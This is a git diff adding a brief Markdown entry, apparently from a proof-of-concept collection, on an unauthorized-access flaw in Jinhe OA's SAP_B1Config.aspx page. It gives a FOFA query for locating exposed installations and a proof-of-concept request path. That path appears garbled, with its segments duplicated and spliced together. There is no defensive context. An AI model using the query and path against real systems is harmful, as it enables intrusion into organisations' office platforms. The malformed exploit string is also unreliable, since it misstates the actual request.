diff --git a/金和OA_SAP_B1Config.aspx未授权访问漏洞.md b/金和OA_SAP_B1Config.aspx未授权访问漏洞.md
new file mode 100644
index 0000000..f1cf10f
--- /dev/null
+++ b/金和OA_SAP_B1Config.aspx未授权访问漏洞.md
@@ -0,0 +1,13 @@
+## 金和OA_SAP_B1Config.aspx未授权访问漏洞
+
+## fofa
+```
+app="金和网络-金和OA"
+```
+
+## poc
+```
+/C6/JHsoft./C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1CostEAI/SAP_B1Config.aspx/?manage=1
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/1f939923-f6bc-4a8f-9a00-8b0fc549a2c7)